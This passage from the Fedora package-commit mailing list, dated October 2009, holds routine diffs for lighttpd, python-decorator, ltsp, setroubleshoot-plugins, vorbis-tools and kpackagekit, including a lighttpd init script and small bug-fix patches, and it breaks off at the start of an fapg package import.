+++ sources	6 Oct 2009 19:10:32 -0000	1.28
@@ -1 +1 @@
-ed4ca3897eadf419c893b03fee53c982  lighttpd-1.4.22.tar.bz2
+0ab6bb7b17bf0f515ce7dce68e5e215a  lighttpd-1.4.23.tar.bz2


--- lighttpd-1.4.18-mod_geoip.patch DELETED ---


--- lighttpd-1.4.20-defaultconf.patch DELETED ---


--- lighttpd-1.4.20-initinfo.patch DELETED ---



From lmacken at fedoraproject.org  Tue Oct  6 19:13:25 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 19:13:25 +0000 (UTC)
Subject: rpms/python-decorator/EL-5 python-decorator.spec,1.3,1.4
Message-ID: <20091006191325.09A6E11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-decorator/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20293

Modified Files:
	python-decorator.spec 
Log Message:
Remove the unnecessary README hack


Index: python-decorator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/python-decorator.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-decorator.spec	6 Oct 2009 19:05:30 -0000	1.3
+++ python-decorator.spec	6 Oct 2009 19:13:24 -0000	1.4
@@ -25,7 +25,6 @@ etc.  The core of this module is a decor
 %prep
 %setup -q -c -n decorator-%{version}
 chmod a-x *
-%{__sed} -i 's/\r//' README.txt
 
 %build
 %{__python} setup.py build



From thias at fedoraproject.org  Tue Oct  6 19:19:40 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:19:40 +0000 (UTC)
Subject: rpms/lighttpd/EL-5 lighttpd.init,NONE,1.1
Message-ID: <20091006191940.E4B5B11C0297@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22398/EL-5

Added Files:
	lighttpd.init 
Log Message:
Missing changes from the previous commit.



--- NEW FILE lighttpd.init ---
#!/bin/sh
#
# lighttpd     Lightning fast webserver with light system requirements
#
# chkconfig:   - 85 15
# description: Secure, fast, compliant and very flexible web-server which has \
#              been optimized for high-performance environments. It has a \
#              very low memory footprint compared to other web servers and \
#              takes care of cpu-load.

### BEGIN INIT INFO
# Provides: httpd
# Required-Start: $local_fs $network
# Required-Stop: $local_fs $network
# Should-Start: $named
# Should-Stop: $named
# Default-Start: 
# Default-Stop: 0 1 2 3 4 5 6
# Short-Description: Lightning fast webserver with light system requirements
# Description:       Secure, fast, compliant and very flexible web-server which
#                    has been optimized for high-performance environments. It
#                    has a very low memory footprint compared to other web
#                    servers and takes care of cpu-load.
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/lighttpd"
prog="lighttpd"
config="/etc/lighttpd/lighttpd.conf"

[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

lockfile=/var/lock/subsys/$prog

start() {
    [ -x $exec ] || exit 5
    [ -f $config ] || exit 6
    echo -n $"Starting $prog: "
    daemon $exec -f $config
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

reload() {
    echo -n $"Reloading $prog: "
    killproc $prog -HUP
    retval=$?
    echo
    return $retval
}

force_reload() {
    restart
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status &>/dev/null
}


case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?




From thias at fedoraproject.org  Tue Oct  6 19:19:40 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:19:40 +0000 (UTC)
Subject: rpms/lighttpd/F-10 lighttpd.init,NONE,1.1
Message-ID: <20091006191940.F185411C0298@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22398/F-10

Added Files:
	lighttpd.init 
Log Message:
Missing changes from the previous commit.



--- NEW FILE lighttpd.init ---
#!/bin/sh
#
# lighttpd     Lightning fast webserver with light system requirements
#
# chkconfig:   - 85 15
# description: Secure, fast, compliant and very flexible web-server which has \
#              been optimized for high-performance environments. It has a \
#              very low memory footprint compared to other web servers and \
#              takes care of cpu-load.

### BEGIN INIT INFO
# Provides: httpd
# Required-Start: $local_fs $network
# Required-Stop: $local_fs $network
# Should-Start: $named
# Should-Stop: $named
# Default-Start: 
# Default-Stop: 0 1 2 3 4 5 6
# Short-Description: Lightning fast webserver with light system requirements
# Description:       Secure, fast, compliant and very flexible web-server which
#                    has been optimized for high-performance environments. It
#                    has a very low memory footprint compared to other web
#                    servers and takes care of cpu-load.
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/lighttpd"
prog="lighttpd"
config="/etc/lighttpd/lighttpd.conf"

[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

lockfile=/var/lock/subsys/$prog

start() {
    [ -x $exec ] || exit 5
    [ -f $config ] || exit 6
    echo -n $"Starting $prog: "
    daemon $exec -f $config
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

reload() {
    echo -n $"Reloading $prog: "
    killproc $prog -HUP
    retval=$?
    echo
    return $retval
}

force_reload() {
    restart
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status &>/dev/null
}


case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?




From thias at fedoraproject.org  Tue Oct  6 19:19:40 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:19:40 +0000 (UTC)
Subject: rpms/lighttpd/EL-4 lighttpd.init,NONE,1.1
Message-ID: <20091006191940.D8A8411C00C1@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22398/EL-4

Added Files:
	lighttpd.init 
Log Message:
Missing changes from the previous commit.



--- NEW FILE lighttpd.init ---
#!/bin/sh
#
# lighttpd     Lightning fast webserver with light system requirements
#
# chkconfig:   - 85 15
# description: Secure, fast, compliant and very flexible web-server which has \
#              been optimized for high-performance environments. It has a \
#              very low memory footprint compared to other web servers and \
#              takes care of cpu-load.

### BEGIN INIT INFO
# Provides: httpd
# Required-Start: $local_fs $network
# Required-Stop: $local_fs $network
# Should-Start: $named
# Should-Stop: $named
# Default-Start: 
# Default-Stop: 0 1 2 3 4 5 6
# Short-Description: Lightning fast webserver with light system requirements
# Description:       Secure, fast, compliant and very flexible web-server which
#                    has been optimized for high-performance environments. It
#                    has a very low memory footprint compared to other web
#                    servers and takes care of cpu-load.
### END INIT INFO

# Source function library.
. /etc/rc.d/init.d/functions

exec="/usr/sbin/lighttpd"
prog="lighttpd"
config="/etc/lighttpd/lighttpd.conf"

[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog

lockfile=/var/lock/subsys/$prog

start() {
    [ -x $exec ] || exit 5
    [ -f $config ] || exit 6
    echo -n $"Starting $prog: "
    daemon $exec -f $config
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

restart() {
    stop
    start
}

reload() {
    echo -n $"Reloading $prog: "
    killproc $prog -HUP
    retval=$?
    echo
    return $retval
}

force_reload() {
    restart
}

rh_status() {
    status $prog
}

rh_status_q() {
    rh_status &>/dev/null
}


case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?




From wtogami at fedoraproject.org  Tue Oct  6 19:24:16 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Tue,  6 Oct 2009 19:24:16 +0000 (UTC)
Subject: rpms/ltsp/devel .cvsignore, 1.28, 1.29 ltsp.spec, 1.37, 1.38 sources,
	1.32, 1.33
Message-ID: <20091006192416.9469411C00C1@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/ltsp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24332

Modified Files:
	.cvsignore ltsp.spec sources 
Log Message:
fix install of chroots



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ltsp/devel/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	28 Sep 2009 19:54:54 -0000	1.28
+++ .cvsignore	6 Oct 2009 19:24:15 -0000	1.29
@@ -1 +1 @@
-ltsp-5.1.89.tar.bz2
+ltsp-5.1.91.tar.bz2


Index: ltsp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ltsp/devel/ltsp.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- ltsp.spec	28 Sep 2009 19:54:54 -0000	1.37
+++ ltsp.spec	6 Oct 2009 19:24:16 -0000	1.38
@@ -1,5 +1,5 @@
 Name:           ltsp
-Version:        5.1.89
+Version:        5.1.91
 %define _datestamp .20090928.15
 #Release:        0%{_datestamp}%{?dist}
 Release:        1%{?dist}
@@ -412,6 +412,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 06 2009 Warren Togami <wtogami at redhat.com> - 5.1.91-1
+- 5.1.91 fixes install of chroots
+
 * Mon Sep 28 2009 Warren Togami <wtogami at redhat.com> - 5.1.89-1
 - 5.1.89
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ltsp/devel/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	28 Sep 2009 19:54:54 -0000	1.32
+++ sources	6 Oct 2009 19:24:16 -0000	1.33
@@ -1 +1 @@
-d8383c97d982967477855c589ba09721  ltsp-5.1.89.tar.bz2
+7c498f4669ca9f62ad34f2755bebd49f  ltsp-5.1.91.tar.bz2



From dwalsh at fedoraproject.org  Tue Oct  6 19:26:30 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue,  6 Oct 2009 19:26:30 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel .cvsignore, 1.40,
	1.41 setroubleshoot-plugins.spec, 1.46, 1.47 sources, 1.41, 1.42
Message-ID: <20091006192630.398D711C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24788

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Thu Oct 6 2009  <dwalsh at redhat.com> - 2.1.25-1
- Fix http_can_senmail to look for "sendmail" in command



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	1 Oct 2009 18:36:01 -0000	1.40
+++ .cvsignore	6 Oct 2009 19:26:29 -0000	1.41
@@ -30,3 +30,4 @@ setroubleshoot-plugins-2.1.21.tar.gz
 setroubleshoot-plugins-2.1.22.tar.gz
 setroubleshoot-plugins-2.1.23.tar.gz
 setroubleshoot-plugins-2.1.24.tar.gz
+setroubleshoot-plugins-2.1.25.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- setroubleshoot-plugins.spec	1 Oct 2009 18:38:55 -0000	1.46
+++ setroubleshoot-plugins.spec	6 Oct 2009 19:26:30 -0000	1.47
@@ -1,7 +1,7 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.24
-Release: 2%{?dist}
+Version: 2.1.25
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/setroubleshoot
@@ -52,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Thu Oct 6 2009  <dwalsh at redhat.com> - 2.1.25-1
+- Fix http_can_senmail to look for "sendmail" in command
+
 * Thu Oct 1 2009  <dwalsh at redhat.com> - 2.1.24-2
 - Add support for Green Plugins
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	1 Oct 2009 18:36:01 -0000	1.41
+++ sources	6 Oct 2009 19:26:30 -0000	1.42
@@ -1 +1 @@
-78961dd82e4623a52afab52556c60771  setroubleshoot-plugins-2.1.24.tar.gz
+b127e298589a88ae80ea2a0a05178e6b  setroubleshoot-plugins-2.1.25.tar.gz



From wtogami at fedoraproject.org  Tue Oct  6 19:27:00 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Tue,  6 Oct 2009 19:27:00 +0000 (UTC)
Subject: rpms/ltsp/F-12 .cvsignore, 1.28, 1.29 ltsp.spec, 1.37, 1.38 sources,
	1.32, 1.33
Message-ID: <20091006192700.3320111C00C1@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/ltsp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24964

Modified Files:
	.cvsignore ltsp.spec sources 
Log Message:
5.1.91 fixes install of chroots



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ltsp/F-12/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	28 Sep 2009 19:54:54 -0000	1.28
+++ .cvsignore	6 Oct 2009 19:26:59 -0000	1.29
@@ -1 +1 @@
-ltsp-5.1.89.tar.bz2
+ltsp-5.1.91.tar.bz2


Index: ltsp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ltsp/F-12/ltsp.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- ltsp.spec	28 Sep 2009 19:54:54 -0000	1.37
+++ ltsp.spec	6 Oct 2009 19:27:00 -0000	1.38
@@ -1,5 +1,5 @@
 Name:           ltsp
-Version:        5.1.89
+Version:        5.1.91
 %define _datestamp .20090928.15
 #Release:        0%{_datestamp}%{?dist}
 Release:        1%{?dist}
@@ -412,6 +412,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 06 2009 Warren Togami <wtogami at redhat.com> - 5.1.91-1
+- 5.1.91 fixes install of chroots
+
 * Mon Sep 28 2009 Warren Togami <wtogami at redhat.com> - 5.1.89-1
 - 5.1.89
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ltsp/F-12/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	28 Sep 2009 19:54:54 -0000	1.32
+++ sources	6 Oct 2009 19:27:00 -0000	1.33
@@ -1 +1 @@
-d8383c97d982967477855c589ba09721  ltsp-5.1.89.tar.bz2
+7c498f4669ca9f62ad34f2755bebd49f  ltsp-5.1.91.tar.bz2



From kdudka at fedoraproject.org  Tue Oct  6 19:31:07 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue,  6 Oct 2009 19:31:07 +0000 (UTC)
Subject: rpms/vorbis-tools/devel vorbis-tools-1.2.0-oggenc-resample.patch,
	NONE, 1.1 vorbis-tools.spec, 1.37, 1.38
Message-ID: <20091006193107.8308111C00C1@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/vorbis-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26316

Modified Files:
	vorbis-tools.spec 
Added Files:
	vorbis-tools-1.2.0-oggenc-resample.patch 
Log Message:
- upstream patch fixing crash of oggenc --resample (#526653)

vorbis-tools-1.2.0-oggenc-resample.patch:
 oggenc.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE vorbis-tools-1.2.0-oggenc-resample.patch ---
diff -rup vorbis-tools-1.2.0.orig/oggenc/oggenc.c vorbis-tools-1.2.0/oggenc/oggenc.c
--- vorbis-tools-1.2.0.orig/oggenc/oggenc.c	2008-03-03 06:37:27.000000000 +0100
+++ vorbis-tools-1.2.0/oggenc/oggenc.c	2009-10-06 21:27:09.398047466 +0200
@@ -147,6 +147,7 @@ int main(int argc, char **argv)
         char *artist=NULL, *album=NULL, *title=NULL, *track=NULL;
         char *date=NULL, *genre=NULL;
         input_format *format;
+        int resampled = 0;
 
         /* Set various encoding defaults */
 
@@ -324,6 +325,8 @@ int main(int argc, char **argv)
 
         if(opt.resamplefreq && opt.resamplefreq != enc_opts.rate) {
             int fromrate = enc_opts.rate;
+
+            resampled = 1;
             enc_opts.resamplefreq = opt.resamplefreq;
             if(setup_resample(&enc_opts)) {
                 errors++;
@@ -369,7 +372,7 @@ int main(int argc, char **argv)
             clear_scaler(&enc_opts);
         if(opt.downmix)
             clear_downmix(&enc_opts);
-        if(opt.resamplefreq && opt.resamplefreq != enc_opts.rate)
+        if(resampled)
             clear_resample(&enc_opts);
 clear_all:
 


Index: vorbis-tools.spec
===================================================================
RCS file: /cvs/extras/rpms/vorbis-tools/devel/vorbis-tools.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- vorbis-tools.spec	27 Jul 2009 06:58:25 -0000	1.37
+++ vorbis-tools.spec	6 Oct 2009 19:31:07 -0000	1.38
@@ -1,13 +1,14 @@
 Summary:	The Vorbis General Audio Compression Codec tools
 Name:		vorbis-tools
 Version:	1.2.0
-Release:	5%{?dist}
+Release:	6%{?dist}
 Epoch:		1
 Group:		Applications/Multimedia
 License:	GPLv2
 URL:		http://www.xiph.org/
 Source:		http://www.xiph.org/ogg/vorbis/download/%{name}-%{version}.tar.gz
 Patch0:		vorbis-tools-1.2.0-non-block.patch
+Patch1:		vorbis-tools-1.2.0-oggenc-resample.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libvorbis-devel libao-devel curl-devel speex-devel flac-devel
 Obsoletes:	vorbis < %{epoch}:%{version}-%{release}
@@ -24,7 +25,8 @@ comment editor.
 
 %prep
 %setup -q
-%patch0 -p1 -b .non-block
+%patch0 -p1
+%patch1 -p1
 
 %build
 %configure
@@ -49,6 +51,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Kamil Dudka <kdudka at redhat.com> - 1:1.2.0-6
+- upstream patch fixing crash of oggenc --resample (#526653)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.2.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Tue Oct  6 19:37:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 19:37:45 +0000 (UTC)
Subject: rpms/kpackagekit/F-11 kpackagekit-InitialPreference.patch,1.2,1.3
Message-ID: <20091006193745.0733211C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kpackagekit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28475

Modified Files:
	kpackagekit-InitialPreference.patch 
Log Message:
upstream is using 10, so will we


kpackagekit-InitialPreference.patch:
 kpackagekit.desktop |    1 +
 1 file changed, 1 insertion(+)

Index: kpackagekit-InitialPreference.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-11/kpackagekit-InitialPreference.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kpackagekit-InitialPreference.patch	31 Mar 2009 17:20:33 -0000	1.2
+++ kpackagekit-InitialPreference.patch	6 Oct 2009 19:37:44 -0000	1.3
@@ -6,6 +6,6 @@ Index: Desktop/kpackagekit.desktop
  Comment[x-test]=xxPackageKit interface for KDExx
  
  MimeType=application/x-rpm;application/x-deb;
-+InitialPreference=5
++InitialPreference=10;
  Terminal=false
  Categories=Qt;KDE;System;PackageManager;



From rdieter at fedoraproject.org  Tue Oct  6 19:37:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue,  6 Oct 2009 19:37:56 +0000 (UTC)
Subject: rpms/kpackagekit/F-11 kpackagekit-0.4.2-defaults_hacks.patch, NONE, 
	1.1 kpackagekit.spec, 1.38, 1.39
Message-ID: <20091006193756.97C7011C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kpackagekit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28566

Modified Files:
	kpackagekit.spec 
Added Files:
	kpackagekit-0.4.2-defaults_hacks.patch 
Log Message:
* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 0.4.2-1
- Patch to workaround kpackagekit: daily/none default (#469375)


kpackagekit-0.4.2-defaults_hacks.patch:
 KPackageKitD/kpackagekitd.cpp |    4 ++--
 Settings/KpkSettings.cpp      |    4 ++--
 SmartIcon/KpkUpdateIcon.cpp   |    2 +-
 libkpackagekit/KpkEnum.h      |    4 ++--
 4 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE kpackagekit-0.4.2-defaults_hacks.patch ---
diff -up kpackagekit-0.4.2/KPackageKitD/kpackagekitd.cpp.rex kpackagekit-0.4.2/KPackageKitD/kpackagekitd.cpp
--- kpackagekit-0.4.2/KPackageKitD/kpackagekitd.cpp.rex	2009-08-12 13:04:35.000000000 -0500
+++ kpackagekit-0.4.2/KPackageKitD/kpackagekitd.cpp	2009-10-06 14:14:21.619436676 -0500
@@ -73,7 +73,7 @@ void KPackageKitD::init()
     KConfig config("KPackageKit");
     KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
     // default to one day, 86400 sec
-    uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
+    const uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
 
     // 1160 -> 15 minutes
     if (((m_client->getTimeSinceAction(Client::ActionRefreshCache) - interval > 1160) && interval != 0 )
@@ -105,7 +105,7 @@ void KPackageKitD::read()
     KConfig config("KPackageKit");
     KConfigGroup checkUpdateGroup( &config, "CheckUpdate" );
     // default to one day, 86400 sec
-    int interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
+    const uint interval = checkUpdateGroup.readEntry("interval", KpkEnum::TimeIntervalDefault);
     int actRefreshCache = m_client->getTimeSinceAction(Client::ActionRefreshCache);
     if (interval == KpkEnum::Never) {
         return;
diff -up kpackagekit-0.4.2/libkpackagekit/KpkEnum.h.rex kpackagekit-0.4.2/libkpackagekit/KpkEnum.h
--- kpackagekit-0.4.2/libkpackagekit/KpkEnum.h.rex	2009-08-12 13:04:37.000000000 -0500
+++ kpackagekit-0.4.2/libkpackagekit/KpkEnum.h	2009-10-06 14:14:21.619436676 -0500
@@ -28,7 +28,7 @@ namespace KpkEnum {
             Security,
             All
     } AutoUpdate;
-    const int AutoUpdateDefault = None;
+    const uint AutoUpdateDefault = None;
 
     typedef enum {
             Never   =       0,
@@ -37,7 +37,7 @@ namespace KpkEnum {
             Weekly  =  604800,
             Monthly = 2628000
     } TimeInterval;
-    const int TimeIntervalDefault = Weekly;
+    const uint TimeIntervalDefault = Daily;
 
 }
 
diff -up kpackagekit-0.4.2/Settings/KpkSettings.cpp.rex kpackagekit-0.4.2/Settings/KpkSettings.cpp
--- kpackagekit-0.4.2/Settings/KpkSettings.cpp.rex	2009-08-12 13:04:35.000000000 -0500
+++ kpackagekit-0.4.2/Settings/KpkSettings.cpp	2009-10-06 14:14:21.619436676 -0500
@@ -57,15 +57,15 @@ KpkSettings::KpkSettings(QWidget *parent
         originGB->setEnabled(false);
     }
 
-    intervalCB->addItem(i18nc("Hourly refresh the package cache", "Hourly"),  KpkEnum::Hourly);
     intervalCB->addItem(i18nc("Daily refresh the package cache", "Daily"),   KpkEnum::Daily);
+    intervalCB->addItem(i18nc("Hourly refresh the package cache", "Hourly"),  KpkEnum::Hourly);
     intervalCB->addItem(i18nc("Weekly refresh the package cache", "Weekly"),  KpkEnum::Weekly);
     intervalCB->addItem(i18nc("Monthly refresh the package cache", "Monthly"), KpkEnum::Monthly);
     intervalCB->addItem(i18nc("Never refresh package cache", "Never"),   KpkEnum::Never);
 
+    autoCB->addItem(i18nc("None updates will be automatically installed", "None"),          KpkEnum::None);
     autoCB->addItem(i18n("Security Only"), KpkEnum::Security);
     autoCB->addItem(i18n("All Updates"),   KpkEnum::All);
-    autoCB->addItem(i18nc("None updates will be automatically installed", "None"),          KpkEnum::None);
 
     connect(notifyUpdatesCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
     connect(notifyLongTasksCB, SIGNAL(stateChanged(int)), this, SLOT(checkChanges()));
diff -up kpackagekit-0.4.2/SmartIcon/KpkUpdateIcon.cpp.rex kpackagekit-0.4.2/SmartIcon/KpkUpdateIcon.cpp
--- kpackagekit-0.4.2/SmartIcon/KpkUpdateIcon.cpp.rex	2009-08-12 13:04:35.000000000 -0500
+++ kpackagekit-0.4.2/SmartIcon/KpkUpdateIcon.cpp	2009-10-06 14:14:21.620436594 -0500
@@ -216,7 +216,7 @@ void KpkUpdateIcon::updateCheckFinished(
 //         m_icon->show();
         KConfig config("KPackageKit");
         KConfigGroup checkUpdateGroup(&config, "CheckUpdate");
-        uint updateType = (uint) checkUpdateGroup.readEntry("autoUpdate", KpkEnum::AutoUpdateDefault);
+        const uint updateType = (uint) checkUpdateGroup.readEntry("autoUpdate", KpkEnum::AutoUpdateDefault);
         if (updateType == KpkEnum::None) {
 //             kDebug() << "None.";
             notifyUpdates();


Index: kpackagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-11/kpackagekit.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- kpackagekit.spec	12 Aug 2009 22:44:56 -0000	1.38
+++ kpackagekit.spec	6 Oct 2009 19:37:56 -0000	1.39
@@ -3,7 +3,7 @@
 
 Name:	  	kpackagekit
 Version:	0.4.2
-Release:	0%{?dist}
+Release:	1%{?dist}
 Summary:	KDE interface for PackageKit
 
 License:	GPLv2+
@@ -13,8 +13,12 @@ Source0:	kpackagekit-0.4.2.tar.bz2
 URL:		http://www.kde-apps.org/content/show.php/KPackageKit?content=84745
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# upstream me, says the patch
+
+#Hacks to smash kpackagekit: daily/none default (#469375)
+Patch50: kpackagekit-0.4.2-defaults_hacks.patch
+
 Patch100: kpackagekit-InitialPreference.patch
+# upstream me, says the patch
 Patch102: kpackagekit-0.4.1-i18n.patch
 
 BuildRequires:	cmake
@@ -34,6 +38,7 @@ KDE interface for PackageKit.
 %prep
 %setup -q -n %{name}-%{version}
 
+%patch50 -p1 -b .defaults_hacks
 %patch100 -p0 -b .InitialPreference
 %patch102 -p1 -b .i18n
 
@@ -79,6 +84,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 0.4.2-1
+- Patch to workaround kpackagekit: daily/none default (#469375)
+
 * Wed Aug 12 2009 Steven M. Parrish <smparrish at gmail.com> 0.4.2-0
 - New upstream release
 



From roma at fedoraproject.org  Tue Oct  6 19:45:23 2009
From: roma at fedoraproject.org (Paulo Roma Cavalcanti)
Date: Tue,  6 Oct 2009 19:45:23 +0000 (UTC)
Subject: rpms/fapg/F-10 fapg.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006194523.44F7511C00C1@cvs1.fedora.phx.redhat.com>

Author: roma

Update of /cvs/pkgs/rpms/fapg/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31019/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	fapg.spec import.log 
Log Message:
Initial fedora version.



--- NEW FILE fapg.spec ---
